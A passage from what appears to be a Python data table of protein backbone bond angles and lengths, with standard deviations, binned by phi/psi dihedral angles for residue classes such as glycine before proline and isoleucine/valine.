(110, 160) : ['B', 8, 122.29, 2.29, -1, -1, 111.95, 0.95, -1, -1, 122.22, 0.65, 114.83, 1.19, 122.87, 1.04, 1.3237, 0.0127, 1.4459, 0.0097, -1, -1, 1.5216, 0.0128, 1.2345, 0.0127],
(110, 170) : ['B', 9, 122.69, 1.58, -1, -1, 112.04, 1.02, -1, -1, 122.45, 0.72, 114.29, 1.41, 123.21, 1.19, 1.3244, 0.0112, 1.4478, 0.009, -1, -1, 1.52, 0.0112, 1.2316, 0.0107],
(120, -180) : ['B', 3, 122.85, 1.47, -1, -1, 111.85, 1.2, -1, -1, 122.13, 0.89, 114.5, 1.16, 123.35, 0.95, 1.3254, 0.0129, 1.4475, 0.0118, -1, -1, 1.5163, 0.0105, 1.2302, 0.009],
(120, -170) : ['B', 6, 123.03, 1.83, -1, -1, 111.52, 1.31, -1, -1, 122.01, 0.97, 114.97, 1.17, 123.0, 0.99, 1.3257, 0.017, 1.4482, 0.0137, -1, -1, 1.5142, 0.0127, 1.2348, 0.0107],
(120, -150) : ['B', 3, 122.42, 1.36, -1, -1, 111.56, 1.01, -1, -1, 121.05, 1.22, 115.3, 0.82, 123.56, 1.41, 1.334, 0.0112, 1.4475, 0.0113, -1, -1, 1.5198, 0.0137, 1.2371, 0.007],
(120, -140) : ['B', 3, 122.63, 1.03, -1, -1, 111.21, 1.04, -1, -1, 120.89, 1.4, 115.64, 0.79, 123.39, 1.43, 1.3347, 0.0075, 1.4497, 0.011, -1, -1, 1.5223, 0.013, 1.2359, 0.0053],
(120, -30) : ['B', 4, 123.3, 1.06, -1, -1, 113.58, 1.07, -1, -1, 119.83, 0.85, 117.4, 0.96, 122.71, 0.8, 1.3351, 0.0098, 1.4533, 0.0106, -1, -1, 1.5163, 0.0098, 1.2354, 0.0118],
(120, -20) : ['B', 4, 123.08, 1.12, -1, -1, 114.48, 1.19, -1, -1, 119.37, 1.0, 118.37, 1.46, 122.22, 1.12, 1.3304, 0.0124, 1.451, 0.0129, -1, -1, 1.5137, 0.0129, 1.2396, 0.0133],
(120, -10) : ['B', 11, 122.63, 1.41, -1, -1, 114.85, 1.35, -1, -1, 119.04, 1.13, 119.12, 1.89, 121.83, 1.43, 1.3293, 0.0126, 1.4522, 0.0141, -1, -1, 1.5135, 0.0152, 1.2402, 0.0129],
(120, 0) : ['B', 5, 122.3, 1.59, -1, -1, 114.95, 1.41, -1, -1, 118.86, 1.07, 119.6, 2.08, 121.53, 1.62, 1.33, 0.0119, 1.4534, 0.0147, -1, -1, 1.5149, 0.0162, 1.2392, 0.0109],
(120, 130) : ['B', 3, 120.77, 3.53, -1, -1, 110.68, 2.8, -1, -1, 121.98, 1.3, 115.27, 1.2, 122.55, 1.3, 1.3292, 0.0108, 1.4627, 0.0207, -1, -1, 1.5158, 0.0069, 1.2307, 0.0147],
(120, 170) : ['B', 8, 122.63, 1.34, -1, -1, 112.08, 1.01, -1, -1, 122.37, 0.73, 114.13, 1.11, 123.48, 1.0, 1.325, 0.0094, 1.4483, 0.0088, -1, -1, 1.5185, 0.0102, 1.2297, 0.0094],
(130, -180) : ['B', 3, 122.92, 1.66, -1, -1, 111.63, 1.15, -1, -1, 122.16, 0.82, 114.75, 0.99, 123.06, 0.95, 1.328, 0.0124, 1.4458, 0.0134, -1, -1, 1.5119, 0.0122, 1.2297, 0.0093],
(130, -170) : ['B', 4, 123.46, 2.42, -1, -1, 110.97, 1.42, -1, -1, 121.76, 0.87, 115.48, 1.38, 122.7, 1.52, 1.3304, 0.0191, 1.4445, 0.0138, -1, -1, 1.5099, 0.0169, 1.2356, 0.011],
(130, -160) : ['B', 3, 123.12, 2.64, -1, -1, 110.6, 1.46, -1, -1, 121.3, 0.98, 115.47, 1.49, 123.16, 1.81, 1.333, 0.02, 1.444, 0.0119, -1, -1, 1.5116, 0.0169, 1.2362, 0.0102],
(130, 150) : ['B', 3, 122.01, 1.64, -1, -1, 111.71, 2.89, -1, -1, 121.66, 0.88, 115.62, 0.76, 122.65, 0.98, 1.3278, 0.0131, 1.4528, 0.0107, -1, -1, 1.5156, 0.0136, 1.2334, 0.0088],
(130, 170) : ['B', 6, 122.57, 1.39, -1, -1, 111.85, 1.06, -1, -1, 122.33, 0.81, 114.23, 0.88, 123.43, 0.85, 1.3267, 0.0081, 1.4487, 0.01, -1, -1, 1.516, 0.0106, 1.2293, 0.0082],
(140, -170) : ['B', 4, 122.82, 2.01, -1, -1, 110.46, 1.43, -1, -1, 121.55, 1.22, 115.41, 1.45, 122.99, 1.73, 1.3254, 0.02, 1.4437, 0.0123, -1, -1, 1.5118, 0.0158, 1.2301, 0.0125],
(140, -160) : ['B', 6, 122.66, 2.13, -1, -1, 110.43, 1.35, -1, -1, 121.12, 1.26, 115.46, 1.65, 123.36, 1.85, 1.326, 0.0183, 1.4437, 0.0132, -1, -1, 1.5121, 0.0157, 1.2298, 0.0128],
(140, 150) : ['B', 5, 122.54, 1.35, -1, -1, 111.07, 3.03, -1, -1, 121.91, 1.11, 115.74, 0.73, 122.3, 1.43, 1.3239, 0.0141, 1.4525, 0.0095, -1, -1, 1.5158, 0.0135, 1.232, 0.0119],
(140, 160) : ['B', 3, 122.64, 1.46, -1, -1, 111.01, 1.86, -1, -1, 122.14, 1.05, 115.34, 0.84, 122.47, 1.32, 1.3213, 0.0124, 1.451, 0.0091, -1, -1, 1.5163, 0.0126, 1.2312, 0.0121],
(150, -180) : ['B', 6, 121.56, 1.42, -1, -1, 110.56, 1.36, -1, -1, 121.86, 1.04, 114.52, 1.09, 123.58, 1.06, 1.3206, 0.013, 1.4493, 0.0098, -1, -1, 1.5146, 0.01, 1.2281, 0.0141],
(150, -170) : ['B', 5, 121.83, 1.3, -1, -1, 110.38, 1.42, -1, -1, 121.47, 1.15, 114.82, 1.23, 123.67, 1.38, 1.3224, 0.0155, 1.4464, 0.0112, -1, -1, 1.5152, 0.0118, 1.2277, 0.0136],
(150, -160) : ['B', 7, 121.97, 1.65, -1, -1, 110.38, 1.28, -1, -1, 121.02, 1.17, 115.0, 1.55, 123.93, 1.59, 1.3233, 0.0153, 1.4467, 0.0149, -1, -1, 1.5157, 0.0131, 1.227, 0.0143],
(150, -150) : ['B', 3, 122.07, 2.3, -1, -1, 110.29, 1.28, -1, -1, 120.79, 0.86, 115.05, 1.65, 124.12, 1.54, 1.3193, 0.0164, 1.4489, 0.0185, -1, -1, 1.5199, 0.0126, 1.2296, 0.0122],
(150, -140) : ['B', 3, 122.02, 1.93, -1, -1, 110.2, 1.32, -1, -1, 120.66, 0.46, 115.31, 1.28, 124.0, 1.19, 1.3189, 0.0144, 1.446, 0.02, -1, -1, 1.5239, 0.012, 1.2327, 0.0069],
(150, 150) : ['B', 3, 122.56, 1.88, -1, -1, 110.66, 2.18, -1, -1, 122.54, 1.52, 115.34, 0.81, 122.04, 2.02, 1.3188, 0.0134, 1.4504, 0.0116, -1, -1, 1.5168, 0.0152, 1.2274, 0.0157],
(150, 160) : ['B', 5, 122.27, 1.8, -1, -1, 111.0, 1.48, -1, -1, 122.39, 1.25, 115.11, 0.95, 122.42, 1.65, 1.3199, 0.0126, 1.4493, 0.0108, -1, -1, 1.5132, 0.0127, 1.2295, 0.0144],
(150, 170) : ['B', 9, 121.62, 1.55, -1, -1, 110.96, 1.19, -1, -1, 122.05, 1.0, 114.66, 1.1, 123.23, 1.1, 1.321, 0.0112, 1.4504, 0.0101, -1, -1, 1.5127, 0.0097, 1.2293, 0.0141],
(160, -180) : ['B', 13, 121.22, 1.44, -1, -1, 110.88, 1.48, -1, -1, 121.83, 1.02, 114.35, 1.22, 123.78, 0.97, 1.3232, 0.0109, 1.4476, 0.0092, -1, -1, 1.5129, 0.0101, 1.2313, 0.0142],
(160, -170) : ['B', 10, 121.23, 1.34, -1, -1, 110.63, 1.43, -1, -1, 121.48, 0.99, 114.53, 1.2, 123.96, 0.99, 1.3247, 0.0106, 1.4469, 0.0092, -1, -1, 1.5164, 0.0103, 1.2306, 0.0138],
(160, -160) : ['B', 4, 121.12, 1.59, -1, -1, 110.45, 1.3, -1, -1, 121.05, 0.9, 114.77, 1.29, 124.15, 1.12, 1.3268, 0.0111, 1.4506, 0.0123, -1, -1, 1.5192, 0.0126, 1.2292, 0.0139],
(160, -150) : ['B', 4, 121.28, 2.26, -1, -1, 110.58, 1.35, -1, -1, 120.91, 0.69, 114.89, 1.36, 124.15, 1.23, 1.3252, 0.0142, 1.4547, 0.0161, -1, -1, 1.5204, 0.0139, 1.2314, 0.013],
(160, 160) : ['B', 4, 121.67, 1.81, -1, -1, 111.37, 1.29, -1, -1, 122.15, 1.17, 114.86, 1.01, 122.91, 1.64, 1.3229, 0.012, 1.4476, 0.0112, -1, -1, 1.5086, 0.0121, 1.2324, 0.0139],
(160, 170) : ['B', 12, 121.32, 1.58, -1, -1, 111.09, 1.33, -1, -1, 121.96, 1.02, 114.53, 1.18, 123.46, 1.19, 1.3239, 0.0115, 1.4488, 0.0104, -1, -1, 1.5093, 0.0104, 1.2313, 0.0145],
(170, -180) : ['B', 13, 120.97, 1.51, -1, -1, 110.75, 1.46, -1, -1, 121.75, 1.02, 114.4, 1.35, 123.81, 1.0, 1.3262, 0.0113, 1.448, 0.0105, -1, -1, 1.5123, 0.011, 1.2352, 0.0141],
(170, -170) : ['B', 10, 120.91, 1.38, -1, -1, 110.69, 1.33, -1, -1, 121.35, 1.05, 114.71, 1.5, 123.92, 0.96, 1.3274, 0.0096, 1.4472, 0.0103, -1, -1, 1.5152, 0.01, 1.2333, 0.0138],
(170, -160) : ['B', 7, 120.72, 1.33, -1, -1, 110.74, 1.37, -1, -1, 120.97, 1.01, 115.12, 1.55, 123.88, 0.95, 1.3287, 0.0096, 1.4505, 0.011, -1, -1, 1.5157, 0.0121, 1.2322, 0.0131],
(170, -150) : ['B', 4, 120.55, 1.58, -1, -1, 111.42, 1.51, -1, -1, 121.04, 0.79, 115.11, 1.21, 123.8, 0.83, 1.3294, 0.0124, 1.4548, 0.0105, -1, -1, 1.5133, 0.0146, 1.2364, 0.0134],
(170, 170) : ['B', 8, 121.04, 1.57, -1, -1, 110.63, 1.45, -1, -1, 121.87, 1.02, 114.48, 1.19, 123.61, 1.15, 1.3263, 0.0125, 1.4493, 0.0124, -1, -1, 1.5099, 0.0118, 1.2347, 0.0138],
},
"Gly_xpro" : {
(-180, -180) : ['I', 44, 121.87, 1.57, -1, -1, 112.34, 2.04, -1, -1, 121.52, 1.43, 116.69, 1.71, 121.77, 1.0, 1.3304, 0.0149, 1.4426, 0.0137, -1, -1, 1.5146, 0.0143, 1.2351, 0.0135],
(-80, -180) : ['B', 6, 121.42, 1.44, -1, -1, 112.23, 1.21, -1, -1, 122.38, 1.03, 115.43, 1.17, 122.18, 1.0, 1.3325, 0.0182, 1.4421, 0.0136, -1, -1, 1.5123, 0.0151, 1.2387, 0.0168],
(-80, 170) : ['B', 3, 121.64, 1.53, -1, -1, 112.1, 1.23, -1, -1, 122.46, 0.97, 115.52, 1.13, 122.03, 1.14, 1.3283, 0.0207, 1.4443, 0.0154, -1, -1, 1.5111, 0.0133, 1.2412, 0.0176],
(-70, -180) : ['B', 3, 121.36, 1.28, -1, -1, 112.0, 1.2, -1, -1, 121.62, 1.05, 115.94, 1.16, 122.42, 0.9, 1.335, 0.0175, 1.4338, 0.0122, -1, -1, 1.5178, 0.0159, 1.2386, 0.0156],
(-60, -40) : ['B', 3, 120.88, 0.52, -1, -1, 115.22, 1.27, -1, -1, 119.65, 0.67, 119.27, 0.85, 121.07, 0.36, 1.34, 0.0066, 1.4437, 0.0088, -1, -1, 1.5108, 0.0069, 1.2373, 0.0102],
(-50, -40) : ['B', 3, 121.13, 0.73, -1, -1, 115.09, 1.22, -1, -1, 119.69, 0.63, 119.17, 0.79, 121.13, 0.33, 1.3393, 0.0075, 1.4465, 0.0087, -1, -1, 1.5116, 0.0077, 1.2381, 0.0097],
},
"IleVal_nonxpro" : {
(-180, -180) : ['I', 1822, 121.97, 1.8, 111.23, 1.65, 109.34, 2.08, 111.29, 1.64, 120.78, 1.25, 116.6, 1.45, 122.57, 1.25, 1.3319, 0.0136, 1.459, 0.0125, 1.5401, 0.0136, 1.523, 0.0127, 1.2362, 0.0119],
(-170, 160) : ['B', 3, 121.97, 1.0, 109.84, 1.32, 107.7, 1.22, 111.74, 0.94, 120.66, 0.67, 116.32, 0.84, 122.94, 1.05, 1.3318, 0.0056, 1.459, 0.0112, 1.553, 0.0074, 1.5197, 0.0107, 1.236, 0.013],
(-160, 140) : ['B', 6, 121.95, 1.53, 111.19, 1.35, 108.06, 1.28, 111.8, 1.54, 120.96, 0.94, 115.8, 1.33, 123.19, 0.96, 1.33, 0.0105, 1.4592, 0.0129, 1.5477, 0.0113, 1.5216, 0.0121, 1.234, 0.0116],
(-160, 150) : ['B', 13, 121.96, 1.34, 111.05, 1.47, 107.88, 1.38, 111.8, 1.39, 120.96, 0.84, 116.0, 1.04, 122.97, 0.87, 1.3326, 0.0094, 1.4583, 0.0122, 1.5505, 0.0103, 1.5201, 0.0117, 1.2338, 0.0121],
(-160, 160) : ['B', 6, 122.11, 1.12, 110.96, 1.65, 107.75, 1.42, 111.4, 1.41, 121.09, 0.82, 116.16, 0.96, 122.67, 1.04, 1.3327, 0.009, 1.4591, 0.0107, 1.5507, 0.0108, 1.5208, 0.0126, 1.2322, 0.0144],
(-150, 130) : ['B', 7, 122.33, 1.6, 111.63, 1.76, 108.27, 1.37, 110.65, 1.76, 120.64, 1.07, 116.29, 1.42, 123.03, 1.15, 1.3301, 0.0121, 1.4606, 0.0122, 1.5427, 0.0136, 1.5218, 0.0128, 1.2347, 0.0102],
(-150, 140) : ['B', 19, 122.25, 1.57, 111.36, 1.64, 108.35, 1.32, 111.3, 1.85, 120.9, 1.07, 115.96, 1.43, 123.09, 1.16, 1.33, 0.0121, 1.4596, 0.0125, 1.5445, 0.0138, 1.5217, 0.0126, 1.2344, 0.0111],
(-150, 150) : ['B', 20, 122.23, 1.44, 111.62, 1.9, 108.42, 1.43, 111.18, 1.8, 121.19, 1.03, 115.75, 1.28, 123.0, 1.1, 1.3324, 0.012, 1.4579, 0.0117, 1.5476, 0.0146, 1.5215, 0.0121, 1.2339, 0.0115],
(-150, 160) : ['B', 9, 122.51, 1.31, 112.0, 2.05, 108.44, 1.55, 110.48, 1.8, 121.45, 1.0, 115.66, 1.22, 122.82, 1.09, 1.3342, 0.0123, 1.4583, 0.0108, 1.5485, 0.0149, 1.522, 0.0123, 1.2328, 0.0125],
(-150, 170) : ['B', 4, 123.17, 1.37, 112.06, 1.6, 108.23, 1.43, 110.38, 1.73, 121.49, 1.01, 115.87, 1.29, 122.58, 1.2, 1.3322, 0.013, 1.4587, 0.0122, 1.5461, 0.0141, 1.5244, 0.0106, 1.2328, 0.0135],
(-140, -180) : ['B', 4, 123.46, 1.37, 112.32, 1.15, 108.53, 1.22, 110.91, 1.46, 121.44, 1.05, 115.78, 1.3, 122.75, 1.06, 1.331, 0.0146, 1.4557, 0.0148, 1.5435, 0.013, 1.525, 0.009, 1.2338, 0.0127],
(-140, 110) : ['B', 4, 122.84, 1.5, 112.34, 1.3, 107.18, 1.73, 110.41, 1.14, 120.22, 0.89, 116.74, 1.01, 122.97, 0.9, 1.3318, 0.0123, 1.4603, 0.0135, 1.5363, 0.0137, 1.5238, 0.0126, 1.2363, 0.0107],
(-140, 120) : ['B', 18, 122.7, 1.53, 111.99, 1.48, 107.78, 1.49, 110.12, 1.36, 120.25, 0.99, 116.67, 1.1, 123.03, 1.03, 1.3319, 0.0123, 1.4598, 0.0122, 1.5395, 0.013, 1.5225, 0.012, 1.2361, 0.0103],
(-140, 130) : ['B', 51, 122.75, 1.45, 111.58, 1.62, 108.17, 1.46, 110.28, 1.58, 120.43, 1.09, 116.46, 1.2, 123.07, 1.08, 1.3308, 0.0129, 1.4593, 0.0119, 1.542, 0.0131, 1.522, 0.0123, 1.2355, 0.01],
(-140, 140) : ['B', 56, 122.71, 1.44, 111.45, 1.64, 108.45, 1.48, 110.71, 1.73, 120.76, 1.1, 116.14, 1.28, 123.05, 1.11, 1.3304, 0.0135, 1.4586, 0.0119, 1.5436, 0.0146, 1.5221, 0.0126, 1.2356, 0.0101],
(-140, 150) : ['B', 41, 122.58, 1.48, 111.92, 1.87, 108.81, 1.62, 110.71, 1.79, 121.28, 1.06, 115.66, 1.31, 123.0, 1.14, 1.332, 0.0137, 1.4572, 0.0114, 1.5458, 0.0175, 1.5222, 0.012, 1.2347, 0.0102],
(-140, 160) : ['B', 43, 122.69, 1.42, 112.36, 1.85, 108.9, 1.66, 110.3, 1.69, 121.63, 0.99, 115.3, 1.33, 123.02, 1.13, 1.3342, 0.0132, 1.457, 0.0111, 1.5462, 0.0169, 1.5228, 0.0117, 1.2328, 0.0108],
(-140, 170) : ['B', 19, 123.03, 1.36, 112.35, 1.49, 108.65, 1.45, 110.52, 1.57, 121.64, 0.98, 115.37, 1.34, 122.95, 1.11, 1.3331, 0.0134, 1.4577, 0.0124, 1.5444, 0.0149, 1.524, 0.0108, 1.2323, 0.0119],
(-130, -180) : ['B', 7, 123.27, 1.47, 112.45, 1.12, 108.82, 1.22, 111.34, 1.4, 121.44, 1.14, 115.61, 1.36, 122.92, 1.05, 1.3313, 0.0136, 1.4536, 0.015, 1.5433, 0.0132, 1.5262, 0.0116, 1.2303, 0.0121],
(-130, -20) : ['B', 4, 121.53, 1.4, 111.57, 1.54, 113.71, 0.95, 110.63, 0.94, 119.35, 1.1, 119.87, 1.34, 120.72, 2.13, 1.3318, 0.0087, 1.4602, 0.0086, 1.5451, 0.0136, 1.5192, 0.0135, 1.2451, 0.0141],
(-130, 0) : ['B', 4, 122.36, 1.16, 112.67, 1.53, 113.2, 0.96, 110.7, 0.99, 119.46, 0.78, 118.71, 1.15, 121.78, 1.03, 1.3346, 0.009, 1.4569, 0.0093, 1.5428, 0.0122, 1.5199, 0.01, 1.232, 0.013],
(-130, 90) : ['B', 3, 122.96, 0.95, 112.65, 1.0, 106.42, 1.51, 111.23, 1.01, 121.09, 1.06, 116.53, 0.98, 122.3, 1.0, 1.3313, 0.0128, 1.4637, 0.0113, 1.5322, 0.0108, 1.5268, 0.0085, 1.2352, 0.0112],
(-130, 100) : ['B', 4, 123.17, 1.28, 112.35, 1.19, 106.61, 1.78, 111.09, 1.11, 120.51, 1.05, 116.7, 1.1, 122.71, 0.97, 1.3307, 0.0126, 1.461, 0.0144, 1.533, 0.0137, 1.5242, 0.0119, 1.2362, 0.0114],
(-130, 110) : ['B', 26, 123.11, 1.38, 112.1, 1.28, 107.24, 1.68, 110.73, 1.19, 120.31, 0.98, 116.61, 1.09, 123.03, 0.97, 1.3306, 0.0122, 1.4597, 0.0144, 1.5355, 0.0136, 1.5229, 0.0131, 1.2374, 0.0113],
(-130, 120) : ['B', 80, 122.98, 1.42, 111.82, 1.36, 107.77, 1.48, 110.42, 1.35, 120.27, 1.01, 116.51, 1.07, 123.18, 1.04, 1.3308, 0.0124, 1.459, 0.0128, 1.5385, 0.013, 1.5222, 0.0129, 1.237, 0.0109],
(-130, 130) : ['B', 130, 122.99, 1.39, 111.52, 1.46, 108.12, 1.44, 110.33, 1.46, 120.36, 1.06, 116.4, 1.12, 123.2, 1.08, 1.3309, 0.0132, 1.4582, 0.0119, 1.5414, 0.0128, 1.522, 0.0124, 1.2361, 0.0104],
(-130, 140) : ['B', 87, 122.94, 1.39, 111.44, 1.64, 108.46, 1.49, 110.5, 1.54, 120.67, 1.12, 116.18, 1.24, 123.1, 1.07, 1.3307, 0.0143, 1.4576, 0.0118, 1.544, 0.0142, 1.5219, 0.0122, 1.2361, 0.0099],
(-130, 150) : ['B', 49, 122.69, 1.59, 111.93, 1.85, 108.86, 1.63, 110.69, 1.6, 121.28, 1.16, 115.67, 1.3, 123.0, 1.07, 1.3312, 0.015, 1.4565, 0.0114, 1.5457, 0.017, 1.5217, 0.0119, 1.2351, 0.0099],
(-130, 160) : ['B', 53, 122.68, 1.58, 112.44, 1.68, 108.95, 1.65, 110.55, 1.52, 121.67, 1.05, 115.24, 1.3, 123.04, 1.11, 1.3333, 0.0134, 1.4557, 0.0111, 1.545, 0.0169, 1.5228, 0.0119, 1.2329, 0.0108],
(-130, 170) : ['B', 29, 122.92, 1.44, 112.52, 1.4, 108.8, 1.46, 110.82, 1.48, 121.67, 1.02, 115.3, 1.34, 123.0, 1.1, 1.3328, 0.0127, 1.4558, 0.0123, 1.5436, 0.015, 1.5242, 0.0122, 1.2314, 0.0117],
(-120, -50) : ['B', 5, 123.16, 1.06, 111.64, 0.82, 111.62, 0.79, 111.05, 0.89, 120.8, 0.89, 117.15, 0.78, 121.98, 0.77, 1.3335, 0.0146, 1.4578, 0.009, 1.5454, 0.0145, 1.5243, 0.0106, 1.2351, 0.0131],
(-120, -40) : ['B', 4, 122.77, 1.05, 111.9, 1.37, 112.12, 0.84, 110.91, 0.98, 120.34, 0.91, 117.65, 1.1, 121.97, 1.02, 1.3345, 0.0121, 1.455, 0.0106, 1.5441, 0.0156, 1.5228, 0.0096, 1.2363, 0.0123],
(-120, -20) : ['B', 8, 121.71, 1.2, 112.12, 1.35, 113.53, 0.98, 110.65, 0.98, 118.98, 1.03, 119.31, 1.15, 121.67, 1.69, 1.3304, 0.011, 1.4564, 0.0095, 1.5432, 0.0124, 1.522, 0.0132, 1.2423, 0.0117],
(-120, -10) : ['B', 4, 122.14, 1.11, 112.33, 1.19, 113.47, 1.01, 110.62, 1.08, 118.98, 0.9, 118.94, 1.22, 122.03, 1.28, 1.3308, 0.0101, 1.4586, 0.0091, 1.5442, 0.0119, 1.52, 0.012, 1.2407, 0.0125],
(-120, 0) : ['B', 5, 122.72, 1.39, 112.36, 1.3, 113.1, 0.97, 110.93, 1.1, 119.38, 0.87, 118.48, 1.16, 122.06, 0.99, 1.3322, 0.0106, 1.4567, 0.0107, 1.5425, 0.0108, 1.5196, 0.0123, 1.2351, 0.0145],
(-120, 10) : ['B', 7, 122.88, 1.76, 112.16, 1.3, 112.43, 0.92, 111.65, 1.22, 119.97, 0.91, 117.84, 1.11, 122.09, 1.09, 1.3331, 0.0122, 1.4553, 0.0104, 1.5416, 0.0108, 1.5231, 0.0127, 1.2312, 0.0151],
(-120, 20) : ['B', 8, 122.69, 1.9, 111.94, 1.3, 111.88, 1.06, 112.36, 1.37, 120.42, 1.14, 117.35, 1.5, 122.14, 1.3, 1.331, 0.0131, 1.456, 0.0109, 1.5407, 0.0105, 1.528, 0.0127, 1.2262, 0.0204],
(-120, 90) : ['B', 3, 122.93, 1.21, 112.4, 1.17, 106.53, 1.41, 111.59, 1.16, 121.36, 1.57, 116.37, 1.24, 122.2, 1.45, 1.327, 0.0147, 1.4628, 0.0141, 1.5309, 0.0111, 1.5247, 0.0098, 1.2345, 0.0125],
(-120, 100) : ['B', 11, 123.1, 1.36, 112.15, 1.21, 106.72, 1.59, 111.32, 1.21, 120.69, 1.3, 116.59, 1.33, 122.66, 1.22, 1.3298, 0.0143, 1.4602, 0.0144, 1.5329, 0.0126, 1.5236, 0.0114, 1.2371, 0.0119],
(-120, 110) : ['B', 47, 123.13, 1.34, 111.9, 1.26, 107.28, 1.59, 110.99, 1.3, 120.48, 1.1, 116.48, 1.22, 122.99, 1.07, 1.33, 0.0131, 1.4595, 0.0142, 1.535, 0.0129, 1.5226, 0.013, 1.238, 0.011],
(-120, 120) : ['B', 113, 123.1, 1.33, 111.64, 1.3, 107.75, 1.46, 110.77, 1.42, 120.39, 1.04, 116.38, 1.13, 123.2, 1.06, 1.3302, 0.0123, 1.4592, 0.0129, 1.5373, 0.0126, 1.5223, 0.0132, 1.2376, 0.011],
(-120, 130) : ['B', 141, 123.14, 1.31, 111.41, 1.38, 108.11, 1.4, 110.63, 1.48, 120.39, 1.05, 116.31, 1.14, 123.26, 1.08, 1.3305, 0.0127, 1.4583, 0.0117, 1.5403, 0.0123, 1.5221, 0.0124, 1.2366, 0.0107],
(-120, 140) : ['B', 82, 123.06, 1.38, 111.39, 1.74, 108.48, 1.44, 110.62, 1.49, 120.67, 1.17, 116.11, 1.29, 123.18, 1.08, 1.3305, 0.014, 1.4575, 0.0114, 1.5435, 0.0132, 1.5219, 0.0118, 1.236, 0.0102],
(-120, 150) : ['B', 39, 122.67, 1.68, 111.91, 2.07, 108.85, 1.54, 110.82, 1.54, 121.32, 1.32, 115.61, 1.38, 123.03, 1.05, 1.3304, 0.0156, 1.4568, 0.0115, 1.5451, 0.0151, 1.5219, 0.0121, 1.2354, 0.0105],
(-120, 160) : ['B', 32, 122.57, 1.65, 112.47, 1.68, 108.99, 1.56, 110.9, 1.44, 121.75, 1.18, 115.23, 1.28, 122.97, 1.07, 1.3316, 0.0139, 1.4556, 0.0115, 1.5433, 0.016, 1.5234, 0.0127, 1.2336, 0.0121],
(-120, 170) : ['B', 9, 122.77, 1.39, 112.6, 1.29, 108.96, 1.42, 111.19, 1.37, 121.67, 1.06, 115.31, 1.29, 122.97, 1.05, 1.3313, 0.012, 1.4553, 0.0118, 1.5416, 0.0152, 1.526, 0.0143, 1.2312, 0.0129],
(-110, -60) : ['B', 6, 122.97, 0.98, 111.57, 0.99, 111.48, 0.94, 111.71, 0.85, 120.7, 0.85, 117.37, 0.74, 121.85, 0.76, 1.3312, 0.0142, 1.4617, 0.0138, 1.5451, 0.0091, 1.5264, 0.0146, 1.2323, 0.0116],
(-110, -50) : ['B', 7, 123.08, 1.01, 111.41, 1.1, 111.56, 0.86, 111.44, 0.95, 120.73, 0.96, 117.23, 1.01, 121.98, 0.89, 1.3294, 0.0144, 1.4574, 0.0128, 1.5455, 0.0109, 1.5249, 0.0128, 1.2316, 0.0115],
(-110, -40) : ['B', 5, 122.66, 0.97, 111.82, 1.67, 111.9, 0.81, 111.3, 0.96, 120.3, 0.94, 117.6, 1.29, 122.07, 1.04, 1.3308, 0.0116, 1.454, 0.0119, 1.5444, 0.0125, 1.5237, 0.0101, 1.2329, 0.0102],
(-110, -30) : ['B', 4, 121.84, 1.13, 112.75, 2.0, 112.96, 1.0, 111.06, 0.88, 119.29, 0.84, 118.65, 1.07, 122.04, 1.07, 1.3322, 0.0116, 1.4522, 0.0118, 1.5429, 0.0127, 1.5257, 0.0117, 1.2367, 0.0098],
(-110, -20) : ['B', 9, 121.85, 1.19, 112.35, 1.38, 113.42, 1.17, 110.88, 1.09, 118.9, 0.88, 118.9, 0.94, 122.17, 1.1, 1.3307, 0.0127, 1.4561, 0.0108, 1.5427, 0.0117, 1.5238, 0.0143, 1.2411, 0.0106],
(-110, -10) : ['B', 10, 122.16, 1.26, 112.21, 1.1, 113.43, 1.09, 110.84, 1.25, 118.96, 0.95, 118.75, 1.1, 122.25, 1.01, 1.3321, 0.0119, 1.4596, 0.0109, 1.5434, 0.0109, 1.5197, 0.0147, 1.2424, 0.0123],
(-110, 0) : ['B', 5, 122.69, 1.49, 112.26, 1.29, 112.9, 0.96, 111.2, 1.24, 119.35, 1.05, 118.43, 1.18, 122.16, 0.91, 1.3324, 0.0115, 1.458, 0.0129, 1.5403, 0.0115, 1.5173, 0.0149, 1.24, 0.0149],
(-110, 10) : ['B', 11, 122.76, 1.57, 112.28, 1.33, 112.17, 0.95, 111.85, 1.27, 119.91, 0.99, 117.97, 1.14, 122.05, 1.05, 1.3316, 0.0116, 1.4568, 0.0129, 1.5374, 0.013, 1.5227, 0.0131, 1.2356, 0.0147],
(-110, 20) : ['B', 8, 122.56, 1.58, 112.22, 1.31, 111.77, 1.04, 112.46, 1.33, 120.26, 1.1, 117.54, 1.47, 122.11, 1.3, 1.3295, 0.0122, 1.4559, 0.0141, 1.5373, 0.0124, 1.5283, 0.012, 1.2295, 0.0178],
(-110, 100) : ['B', 12, 123.1, 1.4, 111.83, 1.23, 106.85, 1.42, 111.53, 1.3, 120.86, 1.33, 116.45, 1.46, 122.62, 1.4, 1.3286, 0.015, 1.4587, 0.013, 1.5331, 0.0119, 1.5239, 0.0111, 1.2363, 0.012],
(-110, 110) : ['B', 41, 123.11, 1.36, 111.67, 1.26, 107.37, 1.48, 111.19, 1.39, 120.66, 1.17, 116.41, 1.43, 122.88, 1.31, 1.3293, 0.0137, 1.4589, 0.0127, 1.535, 0.0124, 1.5229, 0.0127, 1.2374, 0.0108],
(-110, 120) : ['B', 107, 123.12, 1.3, 111.46, 1.26, 107.8, 1.45, 110.96, 1.46, 120.53, 1.07, 116.34, 1.28, 123.1, 1.17, 1.33, 0.0125, 1.4592, 0.0124, 1.5367, 0.0121, 1.5226, 0.0128, 1.2375, 0.0109],
(-110, 130) : ['B', 109, 123.19, 1.24, 111.25, 1.36, 108.17, 1.4, 110.83, 1.49, 120.48, 1.06, 116.31, 1.18, 123.18, 1.05, 1.3304, 0.0126, 1.4588, 0.012, 1.539, 0.0118, 1.5221, 0.0119, 1.2372, 0.0111],
(-110, 140) : ['B', 46, 123.1, 1.29, 111.21, 1.85, 108.53, 1.45, 110.81, 1.52, 120.72, 1.14, 116.1, 1.25, 123.14, 1.02, 1.3303, 0.0142, 1.4582, 0.012, 1.5418, 0.0126, 1.5219, 0.0117, 1.2368, 0.0113],
(-110, 150) : ['B', 9, 122.68, 1.5, 111.81, 2.36, 108.89, 1.52, 110.95, 1.61, 121.4, 1.27, 115.58, 1.36, 122.98, 1.04, 1.3298, 0.0157, 1.4574, 0.0122, 1.5439, 0.0139, 1.522, 0.0127, 1.2365, 0.012],
(-110, 160) : ['B', 10, 122.45, 1.44, 112.43, 1.84, 109.2, 1.55, 111.19, 1.43, 121.92, 1.17, 115.28, 1.26, 122.76, 1.04, 1.3293, 0.0138, 1.4554, 0.0132, 1.5433, 0.0151, 1.5235, 0.0128, 1.235, 0.0131],
